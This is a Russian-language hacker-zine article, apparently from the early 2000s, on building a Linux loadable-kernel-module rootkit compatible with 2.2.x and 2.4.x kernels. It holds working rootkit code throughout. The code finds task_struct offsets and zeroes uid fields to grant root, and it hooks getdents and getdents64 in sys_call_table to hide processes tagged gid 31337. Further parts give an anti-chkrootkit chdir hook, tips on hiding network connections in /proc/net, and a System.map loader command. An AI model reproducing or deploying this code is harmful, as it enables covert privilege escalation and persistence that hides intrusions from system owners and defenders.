..----------------------------------..
.. linux lkm trickz (part 2) ..
..__________________________________..
Данная статья показывает как сделать свой lkm совместимым с ядрами
серии 2.2.x и 2.4.x без его перекомпиляции. Люди, часто пишущие руткиты
и прочий варез для ядер, наверняка найдут тут мало нового, так что
расчёт скорее на начинающих.
Итак, мы пишем треш, который должен прятать процессы, файлы, коннекты,
снифать tty и прочее. Это делается с использованием всевозможных
memcpy, memset, etc. В ядре вся интересуящая нас инфа раскидана по
различным структурам. Всё было бы хорошо, но от версии к версии эти
самые структуры меняются. Получается, что наши смещения не подходят и
мы пролетаем. В большей степени это касается task_struct, структуры,
которой описан каждый процесс в системе. Вот для сравнения она в
хидерах ядра 2.2.7 (точнее важная для нас часть):
volatile long state
unsigned long flags
int sigpending
mm_segment_t addr_limit
struct exec_domain *exec_domain;
volatile long need_resched;
long counter;
long priority;
cycles_t avg_slice;
int has_cpu;
int processor;
int last_processor;
int lock_depth;
struct task_struct *next_task, *prev_task;
struct task_struct *next_run, *prev_run;
struct linux_binfmt *binfmt;
int exit_code, exit_signal;
int pdeath_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
pid_t pid;
pid_t pgrp;
pid_t tty_old_pgrp;
pid_t session;
int leader;
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct task_struct *pidhash_next;
struct task_struct **pidhash_pprev;
struct task_struct **tarray_ptr;
struct wait_queue *wait_chldexit;
struct semaphore *vfork_sem;
unsigned long policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
struct tms times;
unsigned long start_time;
long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
И она же в ядре 2.4.x:
volatile long state
unsigned long flags
int sigpending
mm_segment_t addr_limit
struct exec_domain *exec_domain;
volatile long need_resched;
unsigned long ptrace;
int lock_depth;
long counter;
long nice;
unsigned long policy;
struct mm_struct *mm;
int has_cpu, processor;
unsigned long cpus_allowed;
struct list_head run_list;
unsigned long sleep_time;
struct task_struct *next_task, *prev_task;
struct mm_struct *active_mm;
struct linux_binfmt *binfmt;
int exit_code, exit_signal;
int pdeath_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
pid_t pid;
pid_t pgrp;
pid_t tty_old_pgrp;
pid_t session;
pid_t tgid;
int leader;
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct list_head thread_group;
struct task_struct *pidhash_next;
struct task_struct **pidhash_pprev;
wait_queue_head_t wait_chldexit;
struct semaphore *vfork_sem;
unsigned long rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
struct tms times;
unsigned long start_time;
long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
unsigned long min_flt,
maj_flt,
nswap,
cmin_flt,
cmaj_flt,
cnswap;
int swappable:1;
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
Теперь такой вот код, дающий рута в 2.4.x ядре, не поможет нам в линухе
с кернелом 2.2.x (мы используем уже скомпилённый lkm под 2.4.x):
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
Естественно, смещения совсем другие. А как же их узнать? Можно считать
вручную, но есть неплохой трюк: патчим getdents таким образом, чтобы в
область памяти, которую мы указали (второй аргумент) скопировать нужную
нам структуру. Далее пишем небольшую прогу, которая бы считывала вывод
getdents как есть и кидала его в файл:
.globl _start
_start:
xorl %eax,%eax
xorl %edx,%edx
mov $5,%al
movl $phile,%ebx
movl $0x1010,%ecx
int $0x80
movl %eax,%ebx
movl $141,%eax
movl $infa,%ecx
movl $len,%edx
int $0x80
movl $6,%eax
int $0x80
movl $5,%eax
movl $logfile,%ebx
movl $0x1010,%ecx
movl $0700,%edx
int $0x80
movl %eax,%ebx
movl $4,%eax
movl $infa,%ecx
movl $len,%edx
int $0x80
movl $6,%eax
int $0x80
movl $1,%eax
int $0x80
.data
phile: .asciz "/"
logfile: .asciz "SUPA_LOGG"
infa:
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
< REPEaT THIS ^^^ STRING ABOUT 10 times >
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.asciz "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
len = .-infa
Грубовато получилось, но сойдёт :) Теперь смотрим hexdump полученного
лога:
0000000 0000 0000 0000 0000 0000 0000 0000 c000
0000010 1c60 c020 0000 0000 0009 0000 0014 0000
0000020 0000 0000 0000 0000 0000 0000 0000 0000
0000030 ffff ffff 6000 c021 2000 c797 6000 c021
0000040 6000 c021 0000 0000 4238 c020 0000 0000
0000050 0011 0000 0000 0000 0000 0000 0003 0000
0000060 039e 0000 039e 0000 0000 0000 02aa 0000
0000070 0000 0000 6000 c70f 6000 c70f 0000 0000
0000080 0000 0000 0000 0000 0000 0000 8354 c02b
0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
00000a0 0000 0000 0000 0000 0000 0000 0000 0000
*
00000c0 0000 0000 8fbc 0000 6000 c6ce 868c c011
00000d0 0000 0000 0000 0000 0000 0000 0000 0000
00000e0 0e36 0001 000f 0000 02ac 0000 000c 0000
00000f0 0005 0000 0000 0000 0000 0000 0000 0000
0000100 0000 0000 0001 0000 0000 0000 0000 0000
*
0000110
В общем, поискав примерный pid процесса, я узнал смещение pid в
task_struct ядер 2.2.x: 0x60. Где uid'ы - не понятно, т.к. тестил под
рутом. Нужен второй лог. Снова загружаем тестовый модуль, правящий
getdents, и из-под непривилегированного процесса делаем новый дамп:
0000000 0000 0000 0000 0000 0000 0000 0000 c000
0000010 1c60 c020 0000 0000 0008 0000 0014 0000
0000020 0000 0000 0000 0000 0000 0000 0000 0000
0000030 ffff ffff 6000 c021 4000 c7b3 6000 c021
0000040 6000 c021 0000 0000 4238 c020 0000 0000
0000050 0011 0000 0000 0000 0000 0000 0003 0000
0000060 0308 0000 0308 0000 0000 0000 024f 0000
0000070 0000 0000 4000 c7b3 4000 c7b3 0000 0000
0000080 0000 0000 0000 0000 0000 0000 830c c02b
0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
00000a0 0000 0000 0000 0000 0000 0000 0000 0000
*
00000c0 0000 0000 a2d6 0000 6000 c6ce 868c c011
00000d0 0000 0000 0000 0000 0000 0000 0000 0000
00000e0 aa2b 0000 0002 0000 0284 0000 000a 0000
00000f0 0005 0000 0000 0000 0000 0000 0000 0000
0000100 0000 0000 0001 01f5 01f5 01f5 01f5 01f5
0000110 01f5 01f5
0000114
Отлично, offset к uid'ам - 0x106. Каждый из них длиной 2 байта, значит
всего 8 (uid, euid, suid, fsuid). Но нам достаточно обнулить четыре
первых:
char *tsk;
<skipped>
tsk = (char *)get_current();
memset(tsk+0x106,0,4); // теперь наш процесс рутовской
tsk = 0;
Отлично, теперь мы можем повышать привилегии нашего процесса в ядрах
2.2.x и 2.4.x. Вот теперь пора бы подумать над тем, как организовать
различие между версиями? Лучше всего передавать модулю аргументы:
static int kern;
MODULE_PARM(kern,"i");
За подробностями советую обратиться к хидеру linux/module.h. Там всё
расписано вполне внятно.Первый "аргумент" MODULE_PARM - это переменная,
где будет храниться arg, а второй - её тип (в данном случае - integer).
Вот как передавать его модулю:
daroot`# insmod -f test.o kern=<value>
Теперь в коде мы можем спокойно использовать версию ядра для
организации ветвления в функциях:
<* skipped *>
if (kern > 2){
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
} else {
tsk = (char *)get_current();
memset(tsk+0x106,0,4);
tsk = 0;
}
<* skipped *>
Уже кое-что получается :)) С open() никаких проблем быть не должно,т.к.
offset к addr_limit в task_struct ядер 2.4.x и 2.2.x один.
Ладно, мы разобрались со статической частью. Прятать файлы тоже не
трудно, т.к. структура dirent, к счастью, не меняется. Так что с этим
проблем возникнуть не должно. Теперь перейдём к динамической части: как
прятать, скажем, процессы? В sched.h описана удобная функция для
перебора task_struct всех существующих процессов for_each_task, но нам
то нужна совместимость с серией 2.2.x без перекомпиляции! Значит этот
вариант нам не совсем подходит. Кстати, в 2.4.x для работы с vfs
используется getdents64 вместо старой getdents.Так что в зависимости от
нашего аргумента с версией ядра, мы заменяем либо её, либо старую
sys_getdents(). Вот небольшой пример:
extern void* sys_call_table[];
static int kern;
MODULE_PARM(kern,"i");
<*skipped*>
static long new_getdents64(unsigned int fd, void *dirp, unsigned int count){
long ret;
struct task_struct *k;
for_each_task(k){
if (k->gid == 31337){
k->exit_code = k->pid;
k->pid = 0;
}
}
ret = old_getdents64(fd,dirp,count);
for_each_task(k){
if (k->gid == 31337) k->pid = k->exit_code;
}
return ret;
}
<*skipped*>
int init_module()
{
if (kern > 2){
b_getdents64 = sys_call_table[220];
sys_call_table[220] = n_getdents64;
} else {
b_getdents = sys_call_table[141];
sys_call_table[141] = n_getdents;
printk("using old-style process hiding teq\n");
}
<*skipped*>
Для тех кто не врубается в чём тема: мы при выставлении рута нашему
процессу ставим его gid == 31337. Процесс становится невидимым, т.к. ps
читает список pid из /proc, а там наша запись пропадает. Все чайлды его
тоже невидимы, т.к. gid наследуется. Это, конечно, просто. А как быть
с 2.2.x? Вот тут дело сложнее. Один из способов: создаём снаружи
функций static char[], скажем, длиной 16 байт. В него мы будем
сохранять pid наших невидимых процессов. Когда клиент обращается к
руткиту с запросом, мы сперва обнуляем его uid и euid, и заодно
копируем pid в наш массив. Если слот уже занят (число "ячеек" чётное, и
каждый pid пишется в little endian формате, our_array[i] +
256*our_array[i+1]), то смотрим дальше пока не найдём обнулённый
"слот".
Теперь при вызове getdents мы должны для начала вызвать оригинальный
обработчик, а потом просто вырезать из вывода наши спрятанные процессы.
Это сделать не так сложно. Правда, скорее всего не обойдётся без пары
падений ядра :)) Но зато будет очень полезный опыт ;) Я не выкладываю
тут исходники своей реализации getdents, т.к. в ней одна из важных
фишек моего руткита, и мне не хочется её раскрывать.
Ну и формальность - можно перехватить функции sys_kill и sys_exit чтобы
очищать слот с данным pid в случае его kill(9) или выхода.
И ещё пара слов о chkrootkit.
Эта софтина постоянно обновляется и в ней появляются всё новые и новые
средства для выявления нашего злобного вареза. В каждом рутките можно
найти массу недочётов, выявляющих его присутсвие, так что не стоит
гнаться за скрытностью. В конце концов код более-менее незаметного лкма
больше обычного в 1.5-2 раза, так что лучше найти золотую середину -
обходить основыне проверки chkrootkit'a и не сильно заморачиваться над
остальными нюансами.
Вот пример того, как обойти проверку на спрятанные процессы:
/*
================================================================================
ANTI - CHKrootkit v <= 0.43 part here...
================================================================================
*/
static int n_chdir(char *path){
int i,pid,n;
struct task_struct *find;
unsigned char *k,*demem,cid[2],ptr[6];
_memset(&ptr,0,6);
if ((_strncmp(path,"/proc",5) != 0) || (_strlen(path) > 11))
return b_chdir(path);
for (i=7; i < _strlen(path); i++)
ptr[i-7] = path[i];
pid = ma_atoi(path);
if (irqno == 2){
demem = (char *)&matasklist;
for (i=0;i<MAX_TASKS;i++){
_memcpy(&cid,demem+2*i,2);
if ((cid[0] + 256*cid[1]) != pid) continue;
demem = 0;
return ENOENT;
}
demem = 0;
} else {
for_each_task(find){
if ((find->pid == pid) && (find->gid == HIDEN_GID) \
&& (find->uid == 0)) return ENOENT; }
}
return b_chdir(path);
}
/******************************************************************************/
На последок о нюансах ныканья соединения: в 2.2* и 2.4* вывод сетевой
статистики отличается. Вот основные хинты:
philename i 2.4.x i 2.2.x
----------------+---------------------+----------------
/proc/net/tcp i длина каждой записи
i 150 байт i 128 байт
----------------+---------------------+----------------
/proc/net/udp i длина каждой записи
i 128 байт i 128 байт
+---------------------+----------------
i записи индексируются?
i нет i да
----------------+---------------------+----------------
Примеры для наглядности:
/proc/net/tcp on 2.4.x:
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0081 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1373 1 c7ca7580 300 0 0 2 -1
1: 00000000:00E2 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1804 1 c67e3580 300 0 0 2 -1
2: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1365 1 c7b6d0c0 300 0 0 2 -1
3: 00000000:0065 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1367 1 c7b6d5c0 300 0 0 2 -1
4: 00000000:00C8 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1383 1 c6afc060 300 0 0 2 -1
5: 00000000:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1375 1 c7ca7a80 300 0 0 2 -1
6: 00000000:00CD 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1385 1 c6afc560 300 0 0 2 -1
7: 00000000:00B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1379 1 c67fe540 300 0 0 2 -1
8: 00000000:007A 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1369 1 c7b6dac0 300 0 0 2 -1
9: 00000000:00BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1381 1 c67fea40 300 0 0 2 -1
10: 00000000:00DE 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1800 1 c6afca60 300 0 0 2 -1
11: 00000000:007E 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1371 1 c7ca7080 300 0 0 2 -1
12: 00000000:00DF 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1802 1 c67e3080 300 0 0 2 -1
13: 00000000:009F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1377 1 c67fe040 300 0 0 2 -1
/proc/net/udp on 2.4.x:
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
72: 00000000:00C8 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1922 2 c7b6d5c0
95: 00000000:00DF 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1921 2 c7b6dac0
100: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1923 2 c7b6d0c0
Тут записи не индесируются по порядку, так что можно смело вырезать
некоторые строки.
/proc/net/tcp on 2.2.x:
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1345
1: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1343
/proc/net/udp on 2.2.x:
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:006E 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1349
1: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1348
2: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1347
А вот здесь уже не получится резать всё подрят - нужно индексировать
записи по новой.
И ещё совсем небольшой хинт: при подсаживании лкма "на лету" (здесь я
об этом не пишу, т.к. существует много доков), через /dev/kmem, удобно
брать адреса нужных нам объектов, уже загруженных в ядро (i.e.
sys_call_table, kmalloc, etc) из файла /boot/System.map. В
большинстве дистрибутивов при загрузке линуха, когда установлены
несколько ядер, создаётся символическая ссылка System.map на тот файл,
который соответствует нашему ядру, так что мы при любом раскладе
открываем нужный файл. Допустим, мы хотим передавать нашему загрузчику
адреса sys_call_table и kmalloc через стандартные аргументы. Ок, это
можно сделать так:
daroot`# ./evil_rk_loader `cat /boot/System.map | grep -a "D sys_call" | awk
-F " " '{print $1}'` `cat /boot/System.map | grep -a "T kmalloc" | awk -F " "
'{print $1}'`
Дополнение - простая функция, конвертирующая строку в long:
unsigned long ma_atol(char *p){
int i;
unsigned long tmp,fs,res=0;
char v[8];
memcpy(&v,p,8);
fs = 65536 * 256;
for(i=0; i<8; i+=2){
if (v[i] == 0x30) tmp = 0;
if (v[i] == 0x31) tmp = 16;
if (v[i] == 0x32) tmp = 32;
if (v[i] == 0x33) tmp = 48;
if (v[i] == 0x34) tmp = 64;
if (v[i] == 0x35) tmp = 80;
if (v[i] == 0x36) tmp = 96;
if (v[i] == 0x37) tmp = 112;
if (v[i] == 0x38) tmp = 128;
if (v[i] == 0x39) tmp = 144;
if (v[i] == 0x61) tmp = 160;
if (v[i] == 0x62) tmp = 176;
if (v[i] == 0x63) tmp = 192;
if (v[i] == 0x64) tmp = 208;
if (v[i] == 0x65) tmp = 224;
if (v[i] == 0x66) tmp = 240;
if (v[i+1] == 0x31) tmp += 1;
if (v[i+1] == 0x32) tmp += 2;
if (v[i+1] == 0x33) tmp += 3;
if (v[i+1] == 0x34) tmp += 4;
if (v[i+1] == 0x35) tmp += 5;
if (v[i+1] == 0x36) tmp += 6;
if (v[i+1] == 0x37) tmp += 7;
if (v[i+1] == 0x38) tmp += 8;
if (v[i+1] == 0x39) tmp += 9;
if (v[i+1] == 0x61) tmp += 10;
if (v[i+1] == 0x62) tmp += 11;
if (v[i+1] == 0x63) tmp += 12;
if (v[i+1] == 0x64) tmp += 13;
if (v[i+1] == 0x65) tmp += 14;
if (v[i+1] == 0x66) tmp += 15;
res += tmp * fs;
fs /= 256;
}
return res;
}
На этом всё, основные свои сумбурные мысли относительно linux lkm'ов я
тут изложил. hangup.